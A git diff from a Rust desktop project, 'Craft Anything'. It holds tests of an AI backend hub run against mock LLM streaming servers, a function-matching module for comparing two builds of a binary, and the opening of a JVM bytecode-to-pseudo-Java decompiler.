h.build_model(&h.entry(name).unwrap()).unwrap(); + assert_eq!(slot.local, local, "{name} at {base}"); + } + h.add_backend( + BackendConfig { name: "Default".into(), kind: BackendKind::OpenaiCompatible, model: String::new(), base_url: None, ssh_host: None, enabled: true }, + None, + ) + .unwrap(); + assert!(h.build_model(&h.entry("Default").unwrap()).unwrap().local, "no address means Ollama on this computer"); + add(&h, "OpenAI", BackendKind::Openai, "http://127.0.0.1:9/v1", Some("sk-test")); + assert!(!h.build_model(&h.entry("OpenAI").unwrap()).unwrap().local, "only OpenAI-compatible servers can be local"); +} + +fn add(h: &AiHub, name: &str, kind: BackendKind, base: &str, key: Option<&str>) { + h.add_backend( + BackendConfig { name: name.into(), kind, model: String::new(), base_url: Some(base.into()), ssh_host: None, enabled: true }, + key.map(str::to_string), + ) + .unwrap(); +} + +fn run(c: &mut Box, text: &str) -> Vec { + c.send(text); + let deadline = Instant::now() + Duration::from_secs(20); + let mut all = Vec::new(); + while Instant::now() < deadline { + for e in c.poll() { + let done = matches!(e, AgentEvent::TurnDone { .. }); + all.push(e); + if done { + return all; + } + } + std::thread::sleep(Duration::from_millis(5)); + } + panic!("timed out: {all:?}"); +} + +#[test] +fn anthropic_streaming_tool_loop_through_the_engine() { + let turn1 = sse(&[ + json!({"type":"message_start","message":{"model":"claude-opus-5-5","usage":{"input_tokens":100,"output_tokens":1}}}), + json!({"type":"ping"}), + json!({"type":"content_block_start","index":0,"content_block":{"type":"thinking","thinking":""}}), + json!({"type":"content_block_delta","index":0,"delta":{"type":"thinking_delta","thinking":"plan"}}), + json!({"type":"content_block_delta","index":0,"delta":{"type":"signature_delta","signature":"SIG"}}), + json!({"type":"content_block_stop","index":0}), + json!({"type":"content_block_start","index":1,"content_block":{"type":"text","text":""}}), + json!({"type":"content_block_delta","index":1,"delta":{"type":"text_delta","text":"Checking"}}), + json!({"type":"content_block_stop","index":1}), + json!({"type":"content_block_start","index":2,"content_block":{"type":"tool_use","id":"tu_1","name":"core_session_show","input":{}}}), + json!({"type":"content_block_delta","index":2,"delta":{"type":"input_json_delta","partial_json":"{"}}), + json!({"type":"content_block_delta","index":2,"delta":{"type":"input_json_delta","partial_json":"}"}}), + json!({"type":"content_block_stop","index":2}), + json!({"type":"content_block_start","index":3,"content_block":{"type":"tool_use","id":"tu_2","name":"core_targets_list","input":{}}}), + json!({"type":"content_block_stop","index":3}), + json!({"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":40}}), + json!({"type":"message_stop"}), + ]); + let turn2 = sse(&[ + json!({"type":"message_start","message":{"model":"claude-opus-5-5","usage":{"input_tokens":200,"cache_read_input_tokens":90}}}), + json!({"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}}), + json!({"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":" Nothing is open."}}), + json!({"type":"message_delta","delta":{"stop_reason":"end_turn"},"usage":{"output_tokens":10}}), + json!({"type":"message_stop"}), + ]); + let (url, seen) = mock(vec![(200, "text/event-stream", turn1), (200, "text/event-stream", turn2)]); + let (h, _d) = hub(); + add(&h, "Claude", BackendKind::Anthropic, &url, Some("sk-test-123")); + let mut c = h.start(None, true).unwrap(); + let ev = run(&mut c, "How does the session look?"); + let text: String = ev.iter().filter_map(|e| if let AgentEvent::TextDelta { text } = e { Some(text.as_str()) } else { None }).collect(); + assert_eq!(text, "Checking Nothing is open."); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::ToolFinished { tool, ok: true, .. } if tool == "core_session_show"))); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::ToolFinished { tool, ok: true, .. } if tool == "core_targets_list"))); + let AgentEvent::TurnDone { backend, input_tokens, output_tokens, cost_usd, .. } = ev.last().unwrap().clone() else { panic!() }; + assert_eq!((backend.as_str(), input_tokens, output_tokens), ("Claude", 300, 50)); + assert!(cost_usd.unwrap() > 0.0); + + let seen = seen.lock().unwrap(); + assert_eq!(seen.len(), 2); + let r1 = &seen[0]; + assert_eq!(r1.path, "/v1/messages"); + assert_eq!(r1.header("x-api-key"), Some("sk-test-123")); + assert_eq!(r1.header("anthropic-version"), Some("2023-06-01")); + assert_eq!(r1.header("anthropic-beta"), Some("server-side-fallback-2026-07-01")); + assert_eq!(r1.header("user-agent"), Some("CraftAnything-dev")); + let b = &r1.body; + assert_eq!(b["model"], "claude-opus-5-5"); + assert_eq!(b["stream"], true); + assert_eq!(b["max_tokens"], 64000); + assert_eq!(b["thinking"]["type"], "adaptive"); + assert_eq!(b["output_config"]["effort"], "high"); + assert_eq!(b["fallbacks"], "default"); + assert_eq!(b["tool_choice"]["type"], "auto"); + assert_eq!(b["system"][0]["cache_control"]["type"], "ephemeral"); + assert!(b["system"][0]["text"].as_str().unwrap().contains("Investigation so far")); + let tools = b["tools"].as_array().unwrap(); + let names: Vec<&str> = tools.iter().map(|t| t["name"].as_str().unwrap()).collect(); + let mut sorted = names.clone(); + sorted.sort(); + assert_eq!(names, sorted, "tool order is deterministic"); + assert!(names.contains(&"core_session_show") && names.contains(&"enable_toolset") && names.contains(&"core_handoff_write")); + assert!(!names.contains(&"native_cursor_show"), "non-Core tools wait for enable_toolset"); + assert_eq!(tools.last().unwrap()["cache_control"]["type"], "ephemeral"); + assert!(tools.iter().all(|t| t["input_schema"]["type"] == "object")); + // Turn 2 replays thinking (with signature) and returns BOTH results in ONE user message. + let msgs = seen[1].body["messages"].as_array().unwrap(); + assert_eq!(msgs.len(), 3); + assert_eq!(msgs[1]["content"][0], json!({"type":"thinking","thinking":"plan","signature":"SIG"})); + let results = msgs[2]["content"].as_array().unwrap(); + assert_eq!(msgs[2]["role"], "user"); + assert_eq!(results.len(), 2); + assert_eq!(results[0]["tool_use_id"], "tu_1"); + assert_eq!(results[1]["tool_use_id"], "tu_2"); + assert_eq!(results[0]["is_error"], false); + assert!(results[0]["content"].as_str().unwrap().contains("deep"), "test sessions are in Deep mode"); + // the key is never stored in settings + let saved = std::fs::read_to_string(_d.path().join("config.toml")).unwrap(); + assert!(!saved.contains("sk-test-123")); +} + +#[test] +fn anthropic_refusal_and_http_errors() { + let refusal = sse(&[ + json!({"type":"message_start","message":{"model":"claude-opus-5-5","usage":{"input_tokens":5}}}), + json!({"type":"message_delta","delta":{"stop_reason":"refusal"},"usage":{"output_tokens":0}}), + json!({"type":"message_stop"}), + ]); + let (url, _seen) = mock(vec![ + (200, "text/event-stream", refusal), + (401, "application/json", r#"{"type":"error","error":{"type":"authentication_error","message":"invalid x-api-key"}}"#.into()), + ]); + let (h, _d) = hub(); + add(&h, "Claude", BackendKind::Anthropic, &url, Some("k")); + let mut c = h.start(Some("Claude"), false).unwrap(); + let ev = run(&mut c, "q"); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::Error { message, .. } if message.contains("declined")))); + let ev = run(&mut c, "q2"); + assert!( + ev.iter().any(|e| matches!(e, AgentEvent::Error { message, remediation: Some(r), .. } if message.contains("invalid x-api-key") && r.contains("key"))), + "{ev:?}" + ); +} + +#[test] +fn openai_streaming_tool_loop() { + let t1 = chat_sse(&[ + json!({"model":"gpt-x","choices":[{"delta":{"role":"assistant","tool_calls":[{"index":0,"id":"call_a","type":"function","function":{"name":"core_session_show","arguments":""}}]}}]}), + json!({"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{}"}}]}}]}), + json!({"choices":[{"delta":{},"finish_reason":"tool_calls"}]}), + json!({"choices":[],"usage":{"prompt_tokens":20,"completion_tokens":3}}), + ]); + let t2 = chat_sse(&[json!({"choices":[{"delta":{"content":"Nothing open."},"finish_reason":"stop"}]})]); + let (url, seen) = mock(vec![(200, "text/event-stream", t1), (200, "text/event-stream", t2)]); + let (h, _d) = hub(); + add(&h, "GPT", BackendKind::Openai, &url, Some("sk-o")); + let mut c = h.start(Some("GPT"), true).unwrap(); + let ev = run(&mut c, "status?"); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::TextDelta { text } if text == "Nothing open."))); + let seen = seen.lock().unwrap(); + assert_eq!(seen[0].path, "/chat/completions"); + assert_eq!(seen[0].header("authorization"), Some("Bearer sk-o")); + assert_eq!(seen[0].body["stream_options"]["include_usage"], true); + assert_eq!(seen[0].body["tool_choice"], "auto"); + let msgs = seen[1].body["messages"].as_array().unwrap(); + assert_eq!(msgs[2]["tool_calls"][0]["id"], "call_a"); + assert_eq!(msgs[3]["role"], "tool"); + assert_eq!(msgs[3]["tool_call_id"], "call_a"); +} + +#[test] +fn local_server_without_tools_falls_back_to_react() { + let t1 = chat_sse(&[json!({"choices":[{"delta":{"content":"Thought: check\nAction: core_session_show\nAction Input: {}"},"finish_reason":"stop"}]})]); + let t2 = chat_sse(&[json!({"choices":[{"delta":{"content":"Final Answer: nothing is open"},"finish_reason":"stop"}]})]); + let (url, seen) = mock(vec![ + (400, "application/json", r#"{"error":{"message":"registry.ollama.ai/library/tiny does not support tools"}}"#.into()), + (200, "text/event-stream", t1), + (200, "text/event-stream", t2), + ]); + let (h, _d) = hub(); + add(&h, "Tiny", BackendKind::OpenaiCompatible, &format!("{url}/v1"), None); + let mut c = h.start(Some("Tiny"), true).unwrap(); + let ev = run(&mut c, "status?"); + assert!(ev.iter().any(|e| matches!(e, AgentEvent::ToolFinished { tool, ok: true, .. } if tool == "core_session_show")), "{ev:?}"); + assert!(matches!(ev.last(), Some(AgentEvent::TurnDone { cost_usd: Some(c), .. }) if *c == 0.0)); + let seen = seen.lock().unwrap(); + assert!(seen[0].body.get("tools").is_some()); + assert!(seen[0].header("authorization").is_none()); + assert!(seen[1].body.get("tools").is_none()); + let last = seen[2].body["messages"].as_array().unwrap().last().unwrap().clone(); + assert!(last["content"].as_str().unwrap().starts_with("Observation:")); +} + +#[test] +fn hub_config_keys_and_test_backend() { + let t = sse(&[ + json!({"type":"message_start","message":{"model":"claude-haiku-5-5","usage":{"input_tokens":3}}}), + json!({"type":"content_block_start","index":0,"content_block":{"type":"text","text":"ready"}}), + json!({"type":"message_delta","delta":{"stop_reason":"end_turn"},"usage":{"output_tokens":1}}), + json!({"type":"message_stop"}), + ]); + let models = json!({"data":[{"id":"claude-opus-5-5"},{"id":"claude-haiku-5-5"}]}).to_string(); + let (url, seen) = mock(vec![(200, "text/event-stream", t), (200, "application/json", models.clone()), (200, "application/json", models)]); + let (h, d) = hub(); + assert!(h.backends().is_empty()); + assert!(h.start(None, true).is_err()); + add(&h, "Claude", BackendKind::Anthropic, &url, Some("k1")); + add(&h, "Local", BackendKind::OpenaiCompatible, "http://127.0.0.1:9/v1", None); + assert_eq!(h.backends().len(), 2); + assert!(h.has_key("Claude") && h.has_key("Local")); + let r = h.test_backend("Claude").unwrap(); + assert_eq!((r.reply.as_str(), r.version_only), ("ready", false)); + assert_eq!(r.model, "claude-haiku-5-5"); + assert_eq!(seen.lock().unwrap()[0].body["output_config"]["effort"], "high"); + assert_eq!(h.list_models("Claude").unwrap(), vec!["claude-opus-5-5", "claude-haiku-5-5"]); + let reach = h.check_reachability(); + assert_eq!(reach.len(), 2); + assert!(reach[0].1.is_ok(), "{reach:?}"); + assert!(reach[1].1.is_err()); + // settings persisted to the file; reload shows both + let s = Settings::load_from(&d.path().join("config.toml")); + assert_eq!(AiConfig::from_settings(&s).backends.len(), 2); + assert!(h.remove_backend("Claude").unwrap()); + assert!(!h.remove_backend("Claude").unwrap()); + assert!(h.test_backend("Claude").is_err()); + // missing key is a clear error + h.add_backend( + BackendConfig { + name: "NoKey".into(), + kind: BackendKind::Openrouter, + model: String::new(), + base_url: Some("http://127.0.0.1:9".into()), + ssh_host: None, + enabled: true, + }, + None, + ) + .unwrap(); + if std::env::var("OPENROUTER_API_KEY").is_err() { + let e = h.start(Some("NoKey"), true).err().unwrap(); + assert_eq!(e.code, ErrorCode::BadSettings); + } + assert!(h.compare("Local", "Local", true).is_err()); +} diff --git a/desktop/crates/analysis/Cargo.toml b/desktop/crates/analysis/Cargo.toml new file mode 100644 index 0000000..5dae63e --- /dev/null +++ b/desktop/crates/analysis/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "craft-anything-analysis" +description = "Analyzers that turn parsed targets into evidence for Craft Anything" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[dependencies] +craft-anything-evidence = { workspace = true } +craft-anything-formats = { workspace = true } +craft-anything-disasm = { workspace = true } +craft-anything-js = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } + +[dev-dependencies] +craft-anything-testkit = { workspace = true } diff --git a/desktop/crates/analysis/src/function_match.rs b/desktop/crates/analysis/src/function_match.rs new file mode 100644 index 0000000..58d4c29 --- /dev/null +++ b/desktop/crates/analysis/src/function_match.rs @@ -0,0 +1,473 @@ +//! Pair the functions of two builds of a program, from what the built-in engine found in each. +//! +//! Each stage only looks at what earlier stages left: unique exact names that aren't generated, +//! then identical bytes, then bytes with addresses masked out, then a structural fingerprint. A +//! pair needs one candidate on each side; anything else stays unmatched and is listed as +//! ambiguous. Equal names say two functions correspond, not that the code is the same, so every +//! pair says what comparing the bodies found. + +use craft_anything_disasm::{ArmConsts, Control, DisasmError, Flow, Function, Image, Mode, Op, Program, XrefKind}; +use craft_anything_evidence::sha256_hex; +use serde::Serialize; +use std::collections::{BTreeMap, BTreeSet}; + +/// Bodies smaller than this say too little to pair on bytes or structure alone. +pub const MIN_BODY_BYTES: u64 = 16; +/// Bodies at least this big make an identical-bytes pair a strong one. +const STRONG_BODY_BYTES: u64 = 64; + +/// How a pair was made. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum MatchMethod { + ExactName, + IdenticalBytes, + MaskedBytes, + Structure, +} + +impl MatchMethod { + pub fn name(self) -> &'static str { + match self { + MatchMethod::ExactName => "exact_name", + MatchMethod::IdenticalBytes => "identical_bytes", + MatchMethod::MaskedBytes => "masked_bytes", + MatchMethod::Structure => "structure", + } + } +} + +/// How far to trust that a pair is the same function. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum MatchConfidence { + High, + Medium, + Low, +} + +/// What comparing the two bodies found. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum BodyStatus { + /// Every byte is the same. + Identical, + /// The same instructions, apart from addresses. + SameApartFromAddresses, + Changed, + /// One body wasn't fully read, or the builds are for different processors. + NotCompared, +} + +/// A function as seen by the matcher. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct FunctionRef { + #[serde(with = "craft_anything_formats::hex_addr")] + pub entry: u64, + pub name: String, + pub size: u64, +} + +/// Two functions paired. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct MatchedPair { + pub left: FunctionRef, + pub right: FunctionRef, + pub method: MatchMethod, + pub confidence: MatchConfidence, + pub body: BodyStatus, + /// Both have real names and they differ. + pub renamed: bool, + /// What differs beyond the bytes: `calls`, `strings`. + #[serde(skip_serializing_if = "Vec::is_empty")] + pub differences: Vec<&'static str>, +} + +/// Candidates a stage couldn't tell apart. None of them is paired. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct AmbiguousGroup { + pub method: MatchMethod, + pub left: Vec, + pub right: Vec, +} + +/// The whole result. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize)] +pub struct MatchResult { + pub pairs: Vec, + pub ambiguous: Vec, + pub only_left: Vec, + pub only_right: Vec, +} + +/// One function's facts, computed once. +struct Print { + entry: u64, + name: String, + generated: bool, + size: u64, + /// Every byte of every block was read. + whole: bool, + raw: String, + /// `None` where this processor's address fields aren't masked. + masked: Option, + blocks: usize, + /// Called names in order, `None` for a call to something unnamed. + calls: Vec>, + strings: Vec, +} + +impl Print { + fn as_ref(&self) -> FunctionRef { + FunctionRef { entry: self.entry, name: self.name.clone(), size: self.size } + } + + /// The structure stage's key; `None` when there's nothing distinctive in it. + fn fingerprint(&self) -> Option { + let mut named: Vec<&str> = self.calls.iter().flatten().map(String::as_str).collect(); + named.sort_unstable(); + if named.is_empty() && self.strings.is_empty() { + return None; + } + Some(sha256_hex(format!("{}\u{1}{}\u{1}{}", self.blocks, named.join("\u{2}"), self.strings.join("\u{2}")).as_bytes())) + } +} + +fn flow_target(f: &Flow) -> Option { + match f { + Flow::Jump { target } | Flow::Cond { target } | Flow::Call { target } => Some(*target), + _ => None, + } +} + +/// Zero `pattern` in `bytes` where it ends closest to the instruction's end. +fn zero_last(bytes: &mut [u8], pattern: &[u8]) -> bool { + if pattern.is_empty() || bytes.len() < pattern.len() { + return false; + } + for start in (0..=bytes.len() - pattern.len()).rev() { + if let Some(w) = bytes.get_mut(start..start + pattern.len()) + && w == pattern + { + w.fill(0); + return true; + } + } + false +} + +fn mask_x86(insn: &craft_anything_disasm::Insn, f: &Function, bytes: &mut [u8]) { + let end = insn.end(); + let mask_addr = |a: u64, bytes: &mut [u8]| { + let rel = a.wrapping_sub(end) as u32; + if !zero_last(bytes, &rel.to_le_bytes()) && !zero_last(bytes, &(a as u32).to_le_bytes()) { + zero_last(bytes, &a.to_le_bytes()); + } + }; + if let Some(t) = flow_target(&insn.flow) + && !f.contains(t) + { + let rel = t.wrapping_sub(end); + if !zero_last(bytes, &(rel as u32).to_le_bytes()) + && let Some(last) = bytes.last_mut() + && *last == rel as u8 + { + *last = 0; + } + } + for op in &insn.ops { + if let Op::Mem(m) = op + && let Some(a) = m.addr + { + mask_addr(a, bytes); + } + } + for a in &insn.refs { + if !f.contains(*a) { + mask_addr(*a, bytes); + } + } +} + +/// The instruction word with its address field cleared, for the encodings that hold one. +fn mask_a64(insn: &craft_anything_disasm::Insn, f: &Function, word: u32) -> u32 { + let leaves = flow_target(&insn.flow).is_some_and(|t| !f.contains(t)); + if word & 0x7c00_0000 == 0x1400_0000 { + // b, bl + return if leaves { word & 0xfc00_0000 } else { word }; + } + if word & 0xff00_0010 == 0x5400_0000 || word & 0x7e00_0000 == 0x3400_0000 { + // b.cond, cbz, cbnz + return if leaves { word & 0xff00_001f } else { word }; + } + if word & 0x7e00_0000 == 0x3600_0000 { + // tbz, tbnz + return if leaves { word & 0xfff8_001f } else { word }; + } + if word & 0x1f00_0000 == 0x1000_0000 { + // adr, adrp + return word & 0x9f00_001f; + } + if word & 0x3b00_0000 == 0x1800_0000 { + // ldr (literal) + return word & 0xff00_001f; + } + if !insn.refs.is_empty() && (word & 0x7f80_0000 == 0x1100_0000 || word & 0x3b00_0000 == 0x3900_0000) { + // add or load/store: the low half of an address started by adrp. + return word & 0xffc0_03ff; + } + word +} + +fn print_function(img: &Image, prog: &Program, f: &Function) -> Print { + let mut blocks: Vec<_> = f.blocks.iter().collect(); + blocks.sort_by_key(|b| b.start); + let can_mask = matches!(prog.mode, Mode::X32 | Mode::X64 | Mode::A64); + let mut raw = Vec::new(); + let mut masked = Vec::new(); + let mut whole = !f.truncated; + for b in &blocks { + let len = b.end.saturating_sub(b.start); + let Ok(want) = usize::try_from(len) else { + whole = false; + continue; + }; + let bytes = img.read(b.start, want).unwrap_or(&[]); + if bytes.len() != want { + whole = false; + } + raw.extend_from_slice(bytes); + if !can_mask { + continue; + } + let mut consts = ArmConsts::default(); + let mut a = b.start; + while a < b.end { + let Some(mut insn) = img.decode(a, false) else { + whole = false; + break; + }; + if insn.len == 0 { + whole = false; + break; + } + if prog.mode == Mode::A64 { + consts.apply(&mut insn); + } + let Some(ib) = img.read(a, usize::from(insn.len)) else { + whole = false; + break; + }; + let mut ib = ib.to_vec(); + if prog.mode == Mode::A64 { + if let Ok(w) = <[u8; 4]>::try_from(ib.as_slice()) { + masked.extend_from_slice(&mask_a64(&insn, f, u32::from_le_bytes(w)).to_le_bytes()); + } else { + masked.extend_from_slice(&ib); + } + } else { + mask_x86(&insn, f, &mut ib); + masked.extend_from_slice(&ib); + } + a = insn.end(); + } + } + let calls = prog + .callees(f) + .into_iter() + .map(|c| { + let generated = c.target.and_then(|t| prog.functions.get(&t)).is_some_and(|t| t.name_source == "generated"); + if generated { None } else { c.name } + }) + .collect(); + let mut strings = BTreeSet::new(); + for b in &blocks { + for (_, xs) in prog.xrefs_from.range(b.start..b.end) { + for x in xs.iter().filter(|x| x.kind == XrefKind::String) { + if let Some(s) = prog.string_at(x.to) { + strings.insert(s.text.clone()); + } + } + } + } + Print { + entry: f.entry, + name: f.name.clone(), + generated: f.name_source == "generated", + size: raw.len() as u64, + whole, + raw: sha256_hex(&raw), + masked: can_mask.then(|| sha256_hex(&masked)), + blocks: blocks.len(), + calls, + strings: strings.into_iter().collect(), + } +} + +fn prints(img: &Image, prog: &Program, ctl: &dyn Control, what: &str) -> Result, DisasmError> { + let total = prog.functions.len().max(1) as f32; + let mut out = Vec::with_capacity(prog.functions.len()); + for (i, f) in prog.functions.values().enumerate() { + if ctl.cancelled() { + return Err(DisasmError::Cancelled); + } + if i % 1024 == 0 { + ctl.progress(i as f32 / total, &format!("reading the bodies of {what}")); + } + out.push(print_function(img, prog, f)); + } + Ok(out) +} + +/// What comparing two bodies found, and what differs beyond the bytes. +fn compare(l: &Print, r: &Print, same_processor: bool) -> (BodyStatus, Vec<&'static str>) { + if !same_processor || !l.whole || !r.whole { + return (BodyStatus::NotCompared, Vec::new()); + } + let mut differences = Vec::new(); + // The bytes hide which function a masked call reaches, and what a masked string says. + let calls_differ = l.calls.len() != r.calls.len() || l.calls.iter().zip(&r.calls).any(|(a, b)| matches!((a, b), (Some(x), Some(y)) if x != y)); + if calls_differ { + differences.push("calls"); + } + if l.strings != r.strings { + differences.push("strings"); + } + let body = if l.raw == r.raw && l.size == r.size { + BodyStatus::Identical + } else if l.masked.is_some() && l.masked == r.masked { + BodyStatus::SameApartFromAddresses + } else { + BodyStatus::Changed + }; + // Equal bytes that reach different things are different code once it is linked. + if body == BodyStatus::SameApartFromAddresses && !differences.is_empty() { + return (BodyStatus::Changed, differences); + } + (body, differences) +} + +/// One stage: group what's still unpaired by `key`. A key with one candidate on each side pairs +/// them; a key with candidates on both sides and more than one on either is noted as ambiguous. +struct Matcher<'a> { + left: &'a [Print], + right: &'a [Print], + left_free: Vec, + right_free: Vec, + same_processor: bool, + out: MatchResult, + noted: Vec<(MatchMethod, Vec, Vec)>, +} + +impl Matcher<'_> { + fn stage(&mut self, method: MatchMethod, key: impl Fn(&Print) -> Option) { + let group = |prints: &[Print], free: &[bool]| { + let mut m: BTreeMap> = BTreeMap::new(); + for (i, p) in prints.iter().enumerate() { + if free.get(i).copied().unwrap_or(false) + && let Some(k) = key(p) + { + m.entry(k).or_default().push(i); + } + } + m + }; + let ls = group(self.left, &self.left_free); + let rs = group(self.right, &self.right_free); + for (k, l) in &ls { + let Some(r) = rs.get(k) else { continue }; + if let ([li], [ri]) = (l.as_slice(), r.as_slice()) { + self.pair(*li, *ri, method); + } else { + self.noted.push((method, l.clone(), r.clone())); + } + } + } + + fn pair(&mut self, li: usize, ri: usize, method: MatchMethod) { + let (Some(l), Some(r)) = (self.left.get(li), self.right.get(ri)) else { return }; + if let Some(x) = self.left_free.get_mut(li) { + *x = false; + } + if let Some(x) = self.right_free.get_mut(ri) { + *x = false; + } + let (body, differences) = compare(l, r, self.same_processor); + let confidence = match method { + MatchMethod::ExactName => MatchConfidence::High, + MatchMethod::IdenticalBytes if l.size >= STRONG_BODY_BYTES => MatchConfidence::High, + MatchMethod::IdenticalBytes | MatchMethod::MaskedBytes => MatchConfidence::Medium, + MatchMethod::Structure => MatchConfidence::Low, + }; + self.out.pairs.push(MatchedPair { + left: l.as_ref(), + right: r.as_ref(), + method, + confidence, + body, + renamed: !l.generated && !r.generated && l.name != r.name, + differences, + }); + } + + /// Keep each still-unpaired function in the first group that named it; the rest are alone. + fn finish(mut self) -> MatchResult { + let mut left_seen = self.left_free.clone(); + let mut right_seen = self.right_free.clone(); + for (method, l, r) in std::mem::take(&mut self.noted) { + let open = |ids: &[usize], seen: &[bool]| ids.iter().copied().filter(|i| seen.get(*i).copied().unwrap_or(false)).collect::>(); + let (lk, rk) = (open(&l, &left_seen), open(&r, &right_seen)); + // With one side used up there's nothing left to confuse them with. + if lk.is_empty() || rk.is_empty() { + continue; + } + let take = |ids: &[usize], seen: &mut [bool], prints: &[Print]| { + let mut v = Vec::new(); + for i in ids { + if let Some(s) = seen.get_mut(*i) { + *s = false; + } + if let Some(p) = prints.get(*i) { + v.push(p.as_ref()); + } + } + v + }; + let left = take(&lk, &mut left_seen, self.left); + let right = take(&rk, &mut right_seen, self.right); + self.out.ambiguous.push(AmbiguousGroup { method, left, right }); + } + let alone = |prints: &[Print], seen: &[bool]| prints.iter().zip(seen).filter(|(_, s)| **s).map(|(p, _)| p.as_ref()).collect::>(); + self.out.only_left = alone(self.left, &left_seen); + self.out.only_right = alone(self.right, &right_seen); + self.out.pairs.sort_by_key(|p| p.left.entry); + self.out + } +} + +/// Pair the functions of two analysed programs. Nothing runs; only `ctl` can stop it early. +pub fn match_programs(left: (&Image, &Program), right: (&Image, &Program), ctl: &dyn Control) -> Result { + let lp = prints(left.0, left.1, ctl, "the first program")?; + let rp = prints(right.0, right.1, ctl, "the second program")?; + let same_processor = left.1.mode == right.1.mode; + let mut m = Matcher { + left: &lp, + right: &rp, + left_free: vec![true; lp.len()], + right_free: vec![true; rp.len()], + same_processor, + out: MatchResult::default(), + noted: Vec::new(), + }; + m.stage(MatchMethod::ExactName, |p| (!p.generated).then(|| p.name.clone())); + if ctl.cancelled() { + return Err(DisasmError::Cancelled); + } + if same_processor { + let eligible = |p: &Print| p.whole && p.size >= MIN_BODY_BYTES; + m.stage(MatchMethod::IdenticalBytes, |p| eligible(p).then(|| p.raw.clone())); + m.stage(MatchMethod::MaskedBytes, |p| if eligible(p) { p.masked.clone() } else { None }); + m.stage(MatchMethod::Structure, |p| if eligible(p) { p.fingerprint() } else { None }); + } + Ok(m.finish()) +} diff --git a/desktop/crates/analysis/src/java_decompile.rs b/desktop/crates/analysis/src/java_decompile.rs new file mode 100644 index 0000000..5b7166c --- /dev/null +++ b/desktop/crates/analysis/src/java_decompile.rs @@ -0,0 +1,918 @@ +//! A best-effort decompiler from JVM bytecode to structured pseudo-Java. +//! +//! It runs a symbolic stack simulation over a method's instructions to recover expressions (field +//! access, method calls with names, literals, `new`, arrays, arithmetic, casts) and statements, +//! then applies a light control-flow structurer that recognises the shapes `javac` emits: +//! forward `if`/`if`-`else`, `while` loops, `switch` (inlined cases) and `try`/`catch` from the +//! exception table. Anything it cannot structure degrades to explicit labels and `goto`s rather +//! than guessing. +//! +//! The result is honest: confidence is always [`Confidence::Inferred`], `fully_structured` says +//! whether any `goto`s remained, and the limitations spell out what is lost (generics are erased, +//! lambda/`invokedynamic` desugaring and synthetic members are not reconstructed, local names and +//! types are not recovered). Hostile or truncated code yields a readable fallback, never a panic. + +use craft_anything_evidence::{Confidence, Limitation}; +use craft_anything_formats::java_class::{self, ClassFile, Member}; +use craft_anything_formats::java_ops::{self, Insn}; +use std::collections::{BTreeMap, BTreeSet}; + +/// The decompilation of one method. +#[derive(Debug, Clone)] +pub struct MethodDecompile { + pub signature: String, + /// The `{ … }` body as pseudo-Java (already indented). + pub body: String, + pub confidence: Confidence, + pub limitations: Vec, + /// True when no `goto`/label fallbacks remained. + pub fully_structured: bool, +} + +/// The decompilation of a whole class. +#[derive(Debug, Clone)] +pub struct ClassDecompile { + pub source: String, + pub confidence: Confidence, + pub limitations: Vec, + pub fully_structured: bool, +} + +// --------------------------------------------------------------------------------------------- +// Intermediate nodes + +#[derive(Debug, Clone)] +enum Cmp { + Eq, + Ne, + Lt, + Ge, + Gt, + Le, +} + +impl Cmp { + fn op(&self) -> &'static str { + match self { + Cmp::Eq => "==", + Cmp::Ne => "!=", + Cmp::Lt => "<", + Cmp::Ge => ">=", + Cmp::Gt => ">", + Cmp::Le => "<=", + } + } + /// The negation (the source condition when `javac` branches to skip a block). + fn negate(&self) -> Cmp { + match self { + Cmp::Eq => Cmp::Ne, + Cmp::Ne => Cmp::Eq, + Cmp::Lt => Cmp::Ge, + Cmp::Ge => Cmp::Lt, + Cmp::Gt => Cmp::Le, + Cmp::Le => Cmp::Gt, + } + } +} + +#[derive(Debug, Clone)] +struct Cond { + left: String, + cmp: Cmp, + right: String, +} + +impl Cond { + fn render(&self, negate: bool) -> String { + let cmp = if negate { self.cmp.negate() } else { self.cmp.clone() }; + format!("{} {} {}", self.left, cmp.op(), self.right) + } +} + +#[derive(Debug, Clone)] +enum Node { + Stmt(String), + If { + cond: Cond, + target: i64, + }, + Goto(i64), + Switch { + expr: String, + cases: Vec<(Option, i64)>, + }, + Return(Option), + Throw(String), + /// An opcode we could not model; kept as an annotation. + Raw(String), +} + +// --------------------------------------------------------------------------------------------- +// Symbolic simulation + +struct Sim<'a> { + cf: &'a ClassFile, + is_static: bool, + stack: Vec, + nodes: Vec<(u32, Node)>, + lossy: bool, +} + +fn simple_name(internal: &str) -> String { + internal.rsplit('/').next().unwrap_or(internal).to_string() +} + +impl<'a> Sim<'a> { + fn pop(&mut self) -> String { + match self.stack.pop() { + Some(s) => s, + None => { + self.lossy = true; + "?".to_string() + } + } + } + fn push(&mut self, s: String) { + self.stack.push(s); + } + fn emit(&mut self, pc: u32, n: Node) { + self.nodes.push((pc, n)); + } + fn local(&self, n: u16) -> String { + if !self.is_static && n == 0 { "this".to_string() } else { format!("v{n}") } + } + + /// Simulate one instruction. + fn step(&mut self, i: &Insn) { + let pc = i.pc; + let op = i.opcode; + match op { + 0x00 => {} // nop + 0x01 => self.push("null".into()), + 0x02 => self.push("-1".into()), + 0x03..=0x08 => self.push(format!("{}", i32::from(op) - 0x03)), + 0x09 | 0x0a => self.push(format!("{}L", op - 0x09)), + 